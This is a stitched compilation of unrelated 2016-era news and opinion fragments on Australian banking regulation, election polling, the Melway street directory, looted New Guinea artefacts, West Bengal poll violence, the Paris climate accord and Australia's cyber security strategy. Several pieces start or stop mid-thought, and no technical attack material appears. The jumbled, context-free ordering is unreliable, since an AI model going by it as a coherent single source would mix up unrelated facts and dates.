That might be true if the fundamental problem is of outright fraud or breach of the criminal law. But a good deal of the problem, as even lobbyists now admit, is not so much criminal behaviour but ethical deficit. It involves failure to put the interests of clients first. It involves behaviour conditioned by rewards and returns, rather than results. In some cases, as with the banking foray into the financial advice and asset management industry, it involves clear conflicts of interest, inadequately managed, both in the engine room and the board room. Ministers in the present government were only recently rationalising conduct or rules they now agree to be wrong. They were also the architects of disempowerment of the body they now want to give more money and power. Big business, and big banking, applauded the cuts, and is now nodding wisely in approving the government's very limited response. In such circumstances, who is to declare relevant community standards? Can even an activist regulator be sure it knows where the public interest lies, or what a desirable corporate culture should be? If outright fraud or theft is involved police ought to be involved from the start, and there should be no room for bargaining charges away. But the non-criminal ethical atrocities and cultural problems frequently belong in a wider context, one in which ASIC has been too trusting, too complacent and too scared. ASIC too needs culture change, as well as critical independent review of past failure. Some problems go beyond the buccaneers of banking. Just what is the appropriate remuneration for a bank executive or risk-taker? Is the opinion of a former High Court judge, whether or not computer literate, on such a matter better than that of a woman in a pub, simply because he eats and drinks with businessmen, and made his fortune and his reputation at the bar by having them as clients?

And what is the reward system that accurately balances duties to shareholders, management and the community? Just what are the rights and incidents of corporate citizenship and legal personality? Do they, or should they, involve rights to privacy or to an amoral approach to the law and taxation obligations as of people with flesh and blood? The opinion of ASIC, an ASIC or APRA or ACC investigator, or for that matter a top commercial lawyer, on such matters is not usually disinterested. Nor is it usually biased towards a generous view of what the public interest suggests. A man who has made his fortune running banks may know a lot more about banks, the general economy and how financial systems work than most of us. But his belief in how the system ought to work, or about the right balances of public and private interest, should carry no more weight in public debate than anyone else. Handing difficult or "wicked" problems to inquiries and supposedly independent assessors can buy delay, removing an urgent and embarrassing problem from the front pages for another day. The problem is that as often as not, that later day will be as politically inconvenient, and not within one's own control. And although it is frequently observed that one should never commission an inquiry if one does not know, in advance, what the carefully chosen inquirers will conclude there is always a serious risk that the distinguished citizens will come to think that they were chosen for their independence of mind, rather than their political reliability. This is yet another good reason for not having unworldly retired judges, such as Douglas Macgregor (who accidentally shot Senator Reg Withers nearly 40 years ago) or Dyson Heydon (who shot, as intended, at Bill Shorten but missed). Let's suppose this government came reluctantly to recognise that the Opposition was on a populist winner in wanting a regular and prolonged public flogging of all bankers. Even if it were not regarded, with some evidence, as being very attentive to big banking interests, one might imagine that it would seek to limit to the max any such inquiries, if only so as to protect general confidence in the banking system, or to protect its own ministers, and maybe so as to protect the public purse from the sort of lawyers' picnic that an unlimited inquiry can involve. Think of how John Howard drafted the terms of reference into the oil-for-arms inquiry so as to prevent any investigation of the knowledge or conduct of ministers, or of what happened in ministerial offices. Britain is somewhat more sensible than Australia with royal commissions of inquiry. It does not usually commission them to look backwards at an event, or series of events. More often a commission is chosen to investigate a broad social problem, not necessarily one that is a matter of intense partisan welfare. A supposedly representative panel of the great and good  some retired senior public servant, an archbishop, a headmistress, a novelist, poet, botanist and TV personality  will be asked to take some time to consider the modern state of play, the directions in which society seems to be moving, and whether and how government ought to intervene to influence what is happening. In Australia, inquiries into the national estate, and into human relationships, four decades ago, were of this ilk.
The reason we love consistency is evolutionary. Our brains use it as a shortcut to help process the billions of pieces of information they receive in any one day. Without it we'd be doing far too much stressful, cognitive heavy lifting.

Prime Minister Malcolm Turnbull has a brand of "intelligent, unorthodox, and bold", so his initial caution came across to the public as untrustworthy. Credit: Alex Ellinghausen

People might claim to crave variety, but they tend to be talking about a very limited scope.

It is a similar thing when we talk about the trust we have in our political leaders.

We assess them as we do all people: by subconsciously categorising them with memories of similar people or stereotypes. If they conform, we tend to trust them. If they don't, we feel uneasy.

When we trust someone the reaction we have is chemical. We get feelings of safety and security, and oxytocin in our bloodstream triggers the release of the feel-good hormones, serotonin and dopamine.

This can then establish a virtuous cycle of reinforcement: trusting someone feels good, which then triggers stronger feelings of trust.

Where a leader enters the danger zone, therefore, is not by adopting positions inconsistent with positions they have held in the past, but by adopting positions inconsistent with the shortcut view people have of them  their brand.
Malcolm Turnbull's own eastern beaches seat of Wentworth was the richest electorate in terms of property. Credit:Alex Ellinghausen "Not one of them is creating much of a splash across social media or talkback," says Patrick Baume, group communications manager with Isentia. "There were less than 100 calls across all three issues on talkback over the past two weeks, and not particularly high numbers on social media either. "It seems like mainly only the partisans are paying attention. The broader audience still hasn't focused on the fact there will definitely be an election on July 2, and aren't all that interested in the ABCC, or even the banking royal commission." Bill Shorten: is it his time? Credit:Alex Ellinghausen So what was commanding the most attention? The travails of the 60 Minutes crew in Lebanon, and the Queen's 90th birthday.

This is just as well for Turnbull, who opted for a "soft launch" of the double dissolution after the Senate voted down the ABCC legislation on day one of what was to have been a special three-week sitting. Could Malcolm Turnbull call a snap second election? Credit:Alex Ellinghausen The confidence of the Turnbull camp is based on the conviction that, in the privacy of the ballot box, voters will not be choosing between the Malcolm they have and the one they were hoping for, but between Turnbull and Shorten. Why a soft launch? Because the Prime Minister does not want the electioneering to begin until after the budget. Until then, he wants to be seen to be governing, announcing decisions that have been the product of quiet deliberation, such as the new cyber security strategy and the plan to re-equip the navy. Those close to Turnbull who readily concede that recent months have been "messy", and his performances "untidy", are confident voters will revise their assessment once they see him arguing the case for his budget and other key decisions.

Sophie Mirabella was defeated in the 2013 election. She recontested the recent election but again lost. Credit:Mal Fairclough They take comfort from this week's Fairfax-Ipsos Poll that measured how voters rate the leaders on 11 qualities  even though Turnbull's scores in each category were well down on the figures recorded in October. The poll showed the parties are neck and neck in two-party terms. In the key area of "grasp of economic policy", Turnbull scored 66 (down 14 points), compared with Shorten being steady on 38. When it came to trustworthiness, Turnbull scored a bare pass at 51 (down seven), compared with Shorten being steady on a lowly 36. The confidence of the Turnbull camp is based on the conviction that, in the privacy of the ballot box, voters will not be choosing between the Malcolm they have and the one they were hoping for, but between Turnbull and Shorten. This theory gets a level of support from pollster Tony Mitchelmore, whose take-out from recent focus-group discussion is that voters want stability and continuity, and are therefore more likely to return the Coalition.

"Turnbull has gone from having a really great start to being a disappointment and frustration for not getting on with things. People are using words like dithering and wishy-washy, all in context of the country stagnating politically and economically," Mitchelmore says. "Shorten has improved a little bit, but the biggest thing in his favour has been the unity of the Labor Party and talk around that putting a bit of distance between him and Rudd-Gillard-Rudd fiasco." It was curious, then, that Anthony Albanese, the MP Shorten defeated in Labor's post-2013 leadership contest, agreed to launch on Friday The Killing Season Uncut, Sarah Ferguson's book on her documentary on the dysfunction of the Labor years. Albanese saw no problem in participating in the launch, seizing the opportunity to argue that, for all the turmoil, Rudd and Gillard notched up some significant achievements. "It happened. You think people didn't know that Kevin Rudd and Julia Gillard had issues? Really?" he told me. Then he added: "You can't change history, but you can learn from it." Shorten is confident he can win, based on the conviction that he and his colleagues have learnt from recent history and arrived at the right mix of policy, principle and pragmatism.
Anyone worried about the proposed mega-development at Manuka Oval ought not be seduced by Chief Minister Andrew Barr's announcement that building work won't begin until after the 2018-19 Test match season.

The bulldozers that turn the "unsolicited" bid by AFL club Greater Western Sydney and Grocon into reality would not begin their work until 2019 anyway, and planning for that day will continue unabated.

GWS board member Peter Taylor at Manuka Oval. Credit:Marina Neil

What should worry all Canberra citizens, whether they support the development or not, is the way in which the planning process has been manipulated to keep the community in the dark.

GWS-Grocon is going through the motions of a "community consultation" process that looks more like a box-ticking exercise than an honest attempt to find out what the community values and prefers.
Sepik River tribesmen on their canoes in 1956. Credit:Ron Lovitt As the dreadfulness of Gallipoli and the Western Front absorbed the world, the first expeditionary force sat frustrated in New Guinea, having taken no more than a few days in 1914 to "capture" what had been German New Guinea from the 660 Germans  few of them soldiers  who resided there. There had been high excitement when the force  1500 men from South Australia, Victoria, NSW and Queensland  steamed away in August 1914, their destination unknown. In Sydney, as soldiers preparing to sail paraded through the streets "girls from the ribbon stores brought out rolls of red, white and blue ribbon, which was cut up and fixed on bayonet points, in hats, on sleeves...", wrote Lyle Comyn Reeves in Australians in Action, a book on his experiences with the expeditionary force. German New Guinea, which turned out to be the force's destination, proved anything but exciting, though Australia's first submarine, AE1, was promptly lost on patrol with all hands and has never been found.

The only significant fighting, at Bitapaka  an event whose details remain disputed  ended with the death of one German, about 30 Melanesian soldiers and six Australians. The German colonial period was finished within days, and the Australian military force settled in as the new administration. By Christmas 1918, a booklet published by the expeditionary force carried this plaintive foreword: "Of all the many 'theatres of war', ours has probably been the theatre which staged the dullest play  certainly it has been the theatre with the most meagre audience. But that has been neither our choosing nor our fault." The force was, thus, keen to spring into action when word came that Australia was planning a War Museum, which would need war trophies. Here, finally, was a chance for recognition.

Problem was, as Dr Christine Winter has discovered, war trophies were scarce by then in ex-German New Guinea. Expedition force members had purloined any Mauser pistols, bayonets, flags and the like, and most had long ago disappeared into family cupboards or had been sold. An Australian Colonel, J. Paton, offered insight into the prevailing attitude when he was court-martialled for stealing silver cutlery from a captured German ship, the Komet. "I thought I was entitled to take mementos," he protested. He was acquitted and promoted. With a lack of obvious war trophies, the Australians set about collecting the cultural artefacts they knew were in abundance in the country's villages. They had learned of the value of such things soon after arriving in 1914. Steaming up the Sepik River, a troop of Australians came across the camp of a German explorer, Richard Thurnwald. They stole everything, including photographs and Thurnwald's collections of cultural artefacts. Now, with the war over, new parties of Australians headed up the Sepik, sometimes purchasing artworks, sometimes shelling and burning villages before moving in for the plunder.

Crateload upon crateload of this material arrived in Melbourne for storage before the war memorial was built in Canberra. But when it came time to move the collection to Canberra, nobody could quite see how it could be described as "war trophies". The entire collection was left in the cellars of what is now Melbourne Museum, part of the Museum Victoria network. Seventy years later, in 1990, one of Australia's foremost experts on New Guinean ethnology, Dr Barry Craig, heard about the lost collection while undertaking his PhD on the cultural heritage of PNG. He is the senior curator in foreign ethnology at the South Australian Museum, and he was shown through the Victorian storerooms by the curator emeritus of anthropology (Oceania) at Museum Victoria, Ron Vanderwal.
Kolkata: The third phase of assembly polls in 62 constituencies of West Bengal on Thursday witnessed a series of clashes between political rivals during which bombs were exploded but the violence failed to deter the electors who came out in large numbers, recording a 79.22 per cent voter turnout. A CPM supporter was killed and four partymen were injured.

A presiding officer in a booth in Burdwan was removed on complaints by polling agents that he was trying to influence voters. Union Minister Babul Supriyo was allegedly heckled at a polling booth in Jorasanko constituency in the city when he went to cast his vote, along with his mother.

Election Commission sources said forces were sent and the situation was brought under control. The body of a 35-year-old CPM supporter, identified as Tahidur Islam, was found about 500 metres away from the polling booth at Shibapara area of Domkal assembly seat in Murshidabad district.

In Kolkata, Trinamul leader Anwar Khan was arrested following instructions from Chief Electoral Officer Sunil Gupta after he was shown on TV channels abusing the poll panel while talking to a party worker over phone.

In Burdwans Ketugram constituency, four persons were injured in separate incidents. A CPM workers ear was slashed and the leg of another party supporter fractured in a scuffle in front of a booth number 78.

Two other CPM workers were injured at booth number 48 when bombs were reportedly hurled at them. District Election Officer Soumitra Mohan said four persons have been arrested in this connection. He said a presiding officer of Khan-daghosh seat was removed after complaints by polling agents that he was trying to influence voters.

Domkal CPM candidate and former minister Anisur Rahman claimed that Islam was killed when bombs were hurled outside the polling booth, while district superintendent of police C Sudhakar said the murder was not related to the polls.

Left parties have blamed the ruling Trinamul for the killing and alleged that it has unleashed a reign of terror to intimidate voters. Trinamul on the other hand said the death was a fallout of infighting between the alliance partners Congress and Left Front.
Each of the numerous times over recent years this column has examined stuff about making life in Melbourne and Australia better for its growing  and ageing  population, most people who have responded have supported rapid population growth, or what in political circles is called the argument for ''Big Australia". But each time, too, there has been a passionate outpouring by a significant minority of opposition to a bigger population. Another example came recently, when an editorial I wrote for The Age arguing that the Victorian government should marginally increase public debt to meet the evident needs of our fast-growing population for more transport infrastructure, particularly an expanded public transport system and for more arterial roads, sparked a spirited debate. (http://www.theage.com.au/comment/the-age-editorial/debt-should-be-used-to-fix-transport-system-20160207-gmnno9.html). Melbourne's fringes are sprawling, and the people living in the growth areas are suffering from a lack of not only public transport, but other things that make life in the inner city the envy of the world  amenities including schools, parks, healthcare and other public services, shops, restaurants, cafes and workplaces.

And Here's Ron Tanderberg's take on that: Whatever we do to increase the capacity of roads and the public transport system, the future of Melbourne is not going to be about commuting from the suburbs to the CBD. It makes no sense. Surely a far better future is one where people live close to where they work, to where their children go to school and to shops and other amenities, including parks and community spaces. But that does not answer the bigger question of what is the appropriate rate of population growth. One of the proponents of slower population growth is Mary Drost, convener of Planning Backlash, a coalition of more than 250 resident groups. Here's Mary with former Australian of the year, Geoffrey Rush, who fought against a plan to redevelop Camberwell railway station.

I asked Mary for some thoughts: - Population increase in any city only works providing the infrastructure keeps pace with that increase and Melbourne now is about 15 years behind. We do not have the money to catch up or keep ahead. - Melbourne is increasing faster than any other developed city in the world. Who wants it? Not most of the residents, as they are all trying to protect what they love about their neighbourhood. They don't want high density next to them. - The economists say this increase is not making any of us richer. Maybe the ones getting rich are the developers, at our expense.

- Live in Jakarta as I did and watched it grow from a manageable 3 million to a polluted nightmare of 10 million without the extra infrastructure and you won't want the big population either. Representing the other side of the debate, Melbourne lord mayor Robert Doyle argues for population growth. Here's Robert: I asked him for some of his thoughts: - All of the predictions from the Australian Bureau of Statistics (ABS) show that Melbourne will continue to grow over the next 20 to 40 years.

- I doubt that Melbourne will double to be a city of eight million people, but even if we become a city of six-and-a-half million people, that will bring huge challenges. It's no good standing and trying to hold back the tide: the ABS tells us that this growth is coming. - Our challenge is how do we plan for that growth and how do we make sure that our growth is smart and not dumb. Smart growth is making the best use of existing infrastructure. - If we do double in size there is no way that we are going to double our infrastructure so we are going to have to find new ways to use our hard infrastructure: energy, transport, water or services like schools and hospitals. How do we use those resources better? - That means a greater density in housing development. Not all throughout our suburbs, but along transport corridors and in nodes around major new stations: one of the reasons the new stations around the Melbourne Metro Rail Project are going to be so important. - With that though doesn't go poor development. It has to be smart, not only in where we put denser development, but in terms of the quality and the diversity of the housing offer. That means rules about apartment sizes and rules around amenity, such as not having any borrowed light, and rules about having separation between towers for individual privacy.
You're safer than you've been for a very long time.

For the 16th straight year, crime in NSW has fallen, the state's crime statisticians announced this week. Rates of car theft, murder and robbery are lower even than they were 25 years ago.

But who gets the credit? Police, sure. But perhaps we should also be thanking workers in Chinese electronic factories.

When asked to explain the fall, Don Weatherburn, the state's intensely logical crime statistician, cited a mix of factors. These included the improving economy, a drop in the purity of heroin at the turn of the century, and the declining price (and therefore desirability for the criminal classes) of consumer goods.
The Champagne cork is weathered. Rust has found a foothold in its twisted steel muselet wire cage. It's almost 100 years since Australian troops popped it from a bottle of Moet & Chandon behind the lines in Rouen, France. The bloke who souvenired it in 1918, Signaller Ray Jones, had been in Gallipoli himself. He wrote this about the cork in a letter home to his family: "It was Anzac Day on Thursday last but on account of certain restrictions they were not able to celebrate it quite the same as they did on the previous year. Nevertheless there were a good number suffering from maux de tete the following morning."

It's not clear if Jones was one of those with a hangover but the artefact  from the University of Melbourne's Somewhere in France: Australians on the Western Front exhibition  sheds an interesting light on what at least some Australian troops got up to when not actively fighting in the trenches during World War I.

Curator Jenny Long at the "Somewhere In France" exhibition with a Moet & Chandon champagne cork from 1918, collected by Signaller Ray Jones. Credit:Jason South

Troops were marking Anzac Day as early as 1916, says exhibition curator Jenny Long, but it's likely the 1918 celebrations were dampened by the fact they were busy recapturing the town of Villers-Bretonneux. "I think that's why there were restrictions. It was during the German Spring Offensive and they were busy fighting."

While much is made of sacrifice and lives lost and broken due to war at this time of year, this collaboration between the university's archives and French studies departments offers a fascinating insight into what Australian soldiers did in their downtime. Ticket stubs and hotel receipts reveal a penchant for tourism in Paris; review and theatre programs show a healthy interest in the arts, particularly of the Folies-Bergere variety; and photographs and letters home describe interactions with French people, culture and language. More than half of the exhibits are drawn from the collection of meticulous recorder Signaller Jones, who worked in a Sydney electrical goods store before the war and came home to tell the tale.
Confusion and panic marked the 911 call made after Prince's body was discovered inside a lift at his Paisley Park residence.

A transcript of the call, released by the Carver County Sheriff's Office in Minnesota, reveals that the group of people with Prince did not know his address and had to fumble around looking for it as a dispatcher repeatedly asked for a location.

The dispatcher even told the male caller to look for mail or anything that might have an address on it as the caller repeatedly said, "We're at Prince's house."
An ant that wandered onto the plate-making apparatus in 2000 has been forever enshrined on map 1A (ref: A7). What is less mysterious is "Melways arm". According to urban legend, it is a condition physiotherapists attribute to a strain developed by reaching over into the back of the car to get a Melway off the floor or from under a seat. When the first edition was finally printed, amazingly in colour, it was much thinner than the soon-to-be-released 2016 edition. The entire thing was pen-and-ink drawn before it went to the typesetters (a hand-operated letterpress machine in Godfrey's garage). The Key Map of Melbourne in the first edition of the Melway listed 19 drive-in theatres. Godfrey once quipped that "I have spent a lifetime telling people where to go!" but it was his wife Barbara who got the books onto the market. Many told her that because of the price, this street directory would never sell but she persisted. It took her six months to cover Melbourne, walking into a few newsagents each day to tout the directories.

She was not a born salesperson. On her first day, the story goes, she visited newsagents around Huntingdale and was so anxious she could barely speak. One shop-owner told her to go back outside, take a few deep breaths and start again. The Melway turns 50. Credit:Mark Stehle Our family members get asked 'Do you know my street?' And generally I can picture it instantly. She did - and sold him a box of 36 street directories. Later, her husband would go into the shops and buy a couple  an old trick to get retailers to restock and build some buzz about the product. Here it is, the reproduced 1966 commemorative edition, and it is glorious to behold. I turn straight to Map 16, site of my family's ancestral home, an orange-and-brown late-1960s number that was plonked on the edge of a new suburb with a creek, paddocks of scotch thistles, and lots of nothingness. It was frontier-land on that 1966 map; now it's almost an inner suburb.

Peter Atkins' Melway Project was commissioned by the City of Melbourne in 2009. More fun was to be had running a forefinger through the index at the back looking for funny street names or places. I always loved finding Paisley railway station near Altona on map 55 and was disappointed, on visiting (before it was closed), to discover an entirely grey place that did not live up to that swinging name. Today, in edition 43 (not every one of the past 50 years has seen a new edition), you can find streets such as Lamington Drive (Tarneit), AC/DC Lane (city), Sesame Street (Mount Waverley), Lois Lane (Dandenong), Sunset Boulevard (Jacana) and Quiet Drive (Bangholme) but there is no Melway Way to be found. How could our town planners not think of it? When Barbara Godfrey was making her rounds and people began to buy the 1966 edition  whose design was then utterly groundbreaking for a street directory  those early Melway users couldn't have imagined that future generations would be using tiny mobile devices to get around. Nor would they have believed that we'd be trusting (or stupid) enough to let these satellite navigation systems send us on absurd detours or up one-way streets in the wrong direction. Or that we'd let ourselves be talked into driving into signal-less forests, creeks and onto train tracks or, in the most dire instances, off cliff edges like so many lemmings. RMIT lecturer in geospatial sciences Gita Pupedis lauds the superiority and quality of the Melway. "I've looked at many, many street directories from around the world and I can't say I've seen one that is as well-designed as the Melways."

Pupedis, who always introduces first-year cartography students to Melway history, says traditional map-reading is about getting the "big picture". "You get a wealth of detailed information from Melways that you cannot get from any of that online content, because none of them are on the ground here getting that information." And unlike a passenger with a Melway open on their lap, you can't argue with your GPS, even though you might direct very fruity language at it. Those irritatingly calm voices won't tell you furiously to "do your own navigating next time!", as did the woman in that old toothpaste ad, who explodes out of the car after being accused by her driver of having bad breath (and presumably poor navigation skills). We've all got stories of being led astray by the sat nav. Topping them all is that infamous Brussells woman who left home for a local train station and ended up in Zagreb 1450 kilometres later. But at the heart of all these frustrating technological letdowns is, as Pupedis says, a lack of intimate local knowledge. In vast, sprawling Melbourne  one the world's largest cities in terms of urban spread  that sort of knowledge is essential.

Very definitely on the ground here is Melway's Murray Godfrey, son of Merv and Barbara, who with his brothers Dean and David, helps run the business. Murray still spends vast amounts of time trawling the city and suburbs and noting down things such as street spellings, speed humps, stop signs, changed traffic conditions and other information. He used to do this with a Dictaphone, driving along and noting everything in sight. Now, the field work is done less frequently  various government authorities exchange data with the Melway folk  but there is still a lot of driving around because the brothers have kept the company competitive: their on-the-ground research puts the Melway in a different league altogether to electronic competitors. The Godfreys have grown up with all those Melway tints in their blood. Murray says that when people find out what he does for a living they observe that he must know the metropolis better than anyone. "Generally, our family members get called 'Mr Melway' and get asked 'Do you know my street?' And generally I can picture it instantly and also generally know the Melway map reference," he says. "But as time goes on, along with knowing most roads in Sydney also, I feel like my personal hard disk has filled and some information has been over-written." The Melway office is in a light-industrial street in Mount Waverley (ref: 70 F6 if you want to look it up) and in the foyer are display cases full of Melways paraphernalia. The aesthetic of a Melways directory is so distinctive that artists and designers have been captivated and you can buy a variety of teapots, mugs, cushion covers, T-shirts, clocks, coasters, placemats, jewellery and wrapping paper sporting the maps.

Visitors to Melbourne Town Hall who ascend the main central staircase, too, might have a sudden moment of recognition when looking at the abstract paintings of artist Peter Atkins. Commissioned for the site by the City of Melbourne in 2009, the Melway Project works borrow richly from the directory covers. Atkins says he loves images that trigger memories of locations or events  and the Melway directories can do that in so many ways: we might recall a particular family holiday, significant journey, image or event, something that happened or was said during a car trip. Atkins began his project by searching libraries for Melway editions from 1966-2008. He was astonished at how the books are not only laden with historical references but act as reminders of "who we were and where we have come from". "There is certainly an element of collective ownership with the Melway," Atkins says. "The covers themselves are a sort of group memory or nostalgia that we all share. I really love how they form a sort of lovely, potted history of Melbourne; they are such wonderful time capsules." The paintings' abstract nature means they are not immediately recognisable as referencing Melway covers  but Atkins has watched people go up or down that staircase, stop for a look and then have a trigger of recognition. "They suddenly know what they are."

Writer/comedian Catherine Deveny is also ardent about Melway directories and has many tales of journeys across town using them, including the time she went to Sydney and, travelling in a car with locals, told them to "get out the Melways" ("No one in their right mind says Melway") before being asked if she meant the Sydway. Deveny fiercely rejects claims that young people are losing a part of their brain by submitting to the tyranny of what she calls "the nice lady" on GPS units. While the science is not yet conclusive about the effects on our brains, a wealth of research shows that the hippocampus in people such as London cab drivers (who have to learn the city's streets by heart) is far more developed than other people's. And, research indicates, those important parts of the brain are far less active if we are simply following the verbal commands of a GPS rather than actually navigating ourselves. "I don't care if my kids can't read a map, they can do all sorts of other things I couldn't do," Deveny says. "Let's free our brains up for more useful and useless stuff." Like many Melburnians who've stuck around, Deveny has spent most of her life on two pages of the Melways  maps 29 and 30  because she was born in Preston and has lived in Reservoir, Fitzroy and Coburg. Getting her first Melway as a young person, she found it like "a bible, a comfort and a trusty navigator" all in one. "The Melways is a work of art and an institution, a rock," she says. Deveny recalls going across Melbourne in one of a small group of cars when the phone network went down. She arrived at the destination thanks to the 2008 edition of the Melway then in her car (back seat, of course) and when all the 19- and 20-year-olds arrived an hour later she asked them why they hadn't just used the Melways. "The what?" they responded.

And that is the dilemma: smartphones and GPS rule, meaning fewer Melway directories are now found on back seats, though the Melway app is available for iPhone, and a Melway Android app is in development. At Melway, the Godfreys say that with this formidable technological frontier well and truly crossed, they have had to evaluate how to compete and continue to play a useful role. The brothers say the originating philosophy of the company, "to offer the most up-to-date and informative maps" both shackles and defines Melway. "Firstly, we are now competing against an expectation of 'maps for free' as portrayed by the internet and smart phone providers," they say. "Secondly, our database, while spatially correct, is not suitable for making routing algorithms from, and would therefore require a re-compilation of existing mapping." That would cost tens of millions of dollars. As they say, Google can afford that, but not Melway. Instead, "the proven map display" readers are comfortable with allows iPhone users to zoom in and out so that at any readable scale - unlike GPS maps - you do not lose detail or textual information. And that sort of context is crucial. As Pupedis says, young people are growing up "just accepting whatever data is shot back out at them" from a GPS. "In one way we have more access to more geographic data than ever before, but it is actually dumbing people down in that the synoptic overview is lost," she says. "For most people using a map such as Melways - it actually creates that geocentric mental map where you can put yourself outside the picture. Whereas most of us now have that egocentric view of the world where you are told by the little voice to take the trip from here to there with little concept of where they have driven.

"That's because you don't have to think about it at all." Her current research compares groups of students in terms of their concepts of space, navigation and understanding basic ideas such as north and south. Her own students tend to be outside the norm  about 80-90 per cent of them own and use a Melway because they love real maps and navigating themselves around - but they are exceptional. "We are allowing all this technology to do things for us and, yes, it makes life easier, but is it actually better for us? It will be interesting to see what is the state of play in another 20 years but I certainly hope the Melways is still with us." THEN AND NOW 1966

There were 106 maps in the first edition. This year, there are more than 500. The map key listed 25 symbols, compared to 76 in 2016. Schools were divided into "Specialist-Type, Non-Catholic and Catholic". The edition marks "Public Telephones", "Roads not fully trafficable" and "Migrant Hostels". 1968

The central City map was printed at a larger scale than the rest of the directory for the first time. "Alternate routes" were inserted. 1969 Postcode boundaries and house numbers were introduced. 1970

21 drive-in theatres (2016 lists three). 1975 Melway had to stop the presses when it was announced that the Healesville Freeway had not been approved. It was already on the press, so plates were swapped. A limited number of copies that made it through are now collector's gold. 1976 Traffic lights introduced to maps.

1980 Public transport section introduced. 1982 A cartographer's note saying "Looks Funny"  indicating the Tullamarine Airport terminal  made it through on 4000 copies. Bicycle tracks added.

2000 An ant wandered onto the plate-making apparatus and has been forever enshrined on map 1A. 2003 Federation Square appears for the first time. 2012
New York: In a striking declaration that the world is finally ready to change its polluted ways, global leaders gathered at the United Nations headquarters here to sign the historic Paris climate accord, an agreement that is seen as the blueprint for rescuing the planet.

The question is whether the plan will work.

Year after year, decade after decade, the planet has been getting warmer. This March was the warmest in recorded history. Scientists say the future will be filled with food shortages, drought, rising seas and extreme weather if bold action is not taken quickly.
Nobody likes left being out of the cool gang  especially one they have asked to join.

But that was Australia's fate overnight when it was excluded by a group of countries describing itself as the "high ambition coalition" on climate change, reflecting ongoing wariness about our commitment to cutting greenhouse gas emissions.

The apparent snub came as up to 170 countries gathered at the United Nations in New York to formally sign the Paris climate deal reached last December.

The high ambition coalition  including heavy-hitters such as the US, Canada, Germany and Brazil  came together in Paris in a bid to bolster the strength of a global climate agreement and head-off moves by countries such as India and Saudi Arabia to water down parts of the deal.
Every Australian child - and millions of low-income adults - will be eligible for subsidised dental care under an ambitious new Turnbull government plan.

Health Minister Sussan Ley has announced $5 billion in frontline dental health funding over the next four years, including $2.1 billion for what's being called the Child and Adult Public Dental Scheme, or caPDS.

But Labor says the government's announcement is "spin" that actually hides a $1 billion health cut.

The new scheme will provide more than 10 million Australians - all 5.3 million children aged under 18 and 5 million adults with Commonwealth concession cards - access to public dental through a single five-year agreement with the states. The deal will be enshrined in legislation to provide long-term certainty, Ms Ley said.
The Turnbull government would face a knife-edge battle to pass its legislation following a double dissolution election, according to analysis by new polling group MetaPoll.

Based on a national two-party-preferred vote of 51 per cent, the Coalition would struggle to get bills such as the Australian Building and Construction Commission through a joint sitting of Parliament.

The modelling shows the Coalition winning 83 seats in the House of Representatives and 31 in the Senate, giving it a single-vote majority of 114 seats in a 226-seat joint sitting.

MetaPoll reached those figures by examining the state-by-state variation from national polling, to take account of long-term voting patterns in particular states (the Greens perform better in Victoria and Tasmania, for example).
The Australian Federal Police are investigating another leak of unauthorised information about the hotly contested bid to secure the $50 billion contract to build Australia's next-generation submarine.

The AFP confirmed to Fairfax Media on Friday the investigation into the leak - the second in two months on the bid - had started.

There is speculation the successful bidder for the submarine contract will be announced within days. Credit:Damian Pawlenko

In March, an investigation began after an apparent leak to The Australian of sections of the draft Defence white paper. This time, the investigation is looking at a leak to the same newspaper that suggested Japan - which along with Germany and France is bidding to build the subs - was considered by cabinet's National Security Committee to have the weakest bid.

Fairfax Media has been told that the Secretary of the Defence Department, Dennis Richardson, was outraged by the latest leak and personally requested the investigation, but Defence declined to comment by deadline.
New Delhi: West Bengal Chief Minister Mamata Banerjee on Thursday responded to an Election Commission show-cause notice on prima facie violation of model code, days after the poll body rejected a response from the state Chief Secretary on her behalf.

Reply to the EC notice has been received from Mamata Banerjee. It is under examination, a Commission official said here, refusing to give further details.

The Trinamul Congress chairperson was given time till Friday morning to respond to the show-cause notice after EC rejected the response from Chief Secretary Basudeb Banerjee.

In a strongly-worded letter to the Trinamul supremo on Tuesday, the poll panel had made it clear that the notice was issued to her in her capacity as Trinamul Congress head and not as the chief minister of West Bengal.

Meanwhile, in a bid to reach out more voters, especially the youth, the party supremo also answered some questions on social networking site Facebook. Commenting on femminism, she said, she is a humanist. I take care of every human being. I will take care of humanity, she said in reply to a question.
The new headquarters of ASIO. Credit:Katherine Griffiths But in fact China, North Korea, Russia and Iran are all high up on the list of nations suspected of launching the most cyber attacks on Australia. These are cyber intrusions into government departments and agencies, big and small businesses, and private individuals. And all with the aim of stealing identities, intellectual property, corporate knowledge, customer details, financial data, money and even national secrets. With this week's launch of Australia's Cyber Security Strategy, the first update since 2009, the term "malicious actors" takes centre stage.

Australia and its people, the PM insists, are targets for such organised criminal syndicates and foreign adversaries. These malicious actors are using the internet to further their aims and attack Australian interests. "The scale and reach of malicious cyber activity affecting Australian and private sector organisations and individuals is unprecedented," he said. "The rate of compromise is increasing and the methods used by malicious actors are rapidly evolving." Cyberspace is quite possibly the final frontier and although the Prime Minister pledged his desire for Australia to lead the world in cyber security, the fact remains that we haven't explored it near enough.

This strategy is somewhat playing catch-up with other nations, even some in our own region. As the PM noted, internet users in Asia now account for half of all users worldwide. But as research fellow at Australian National University's National Security College Dr Adam Henschke points out, catch-up is the cyber game. "Almost everyone is playing catch-up," he said. "Everything moves so fast in this area and Australia is really no further behind or farther ahead than many other countries.

"The launch of this strategy is definitely timely and necessary. Our biggest state threat would probably be China, but the biggest threat overall are cyber criminals in general. "And the nature of cyber is an attack might seem like it is coming from China  the attacker might even identify themselves as coming from China  when in fact it could actually be from North Korea or elsewhere. "There is no real jurisdiction and that's what makes it fun and hard." Jurisdiction is an issue when it comes to being on the offence in the cyber security realm. When releasing the strategy, the Prime Minister revealed Australia had the capacity to launch its own cyber attacks.

An offensive cyber capability housed in the Australian Signals Directorate provides another option for the government to respond, he said. This is a warning shot, letting would-be attackers know Australia can hit back. By acknowledging our ability to be on the offensive, a level of deterrence is added. Henschke says sending that signal is important, but any cyber attacks from Australia must be ethical. "It is called the notion of deterrence. If we can't respond why wouldn't someone attack?" he said.

"So we let potential offenders know we have the capability. But what is known as the 'just war theory' comes into play here. "Any responses from us must be discriminate and proportional. That means no attacks against innocent parties and no over-the-top massive attacks. "I believe and would hope that those principles would underpin any action Australia takes in its cyber strategy." The strategy pours an extra $230 million into 33 new initiatives over a five-tiered plan aimed at improving the nation's cyber security. The initiatives include building partnerships between government, researchers and business; beefing up defences to better detect and respond to threats; appointing an assistant minister for cyber security; a special adviser to the PM; and a cyber ambassador to lead international engagement.

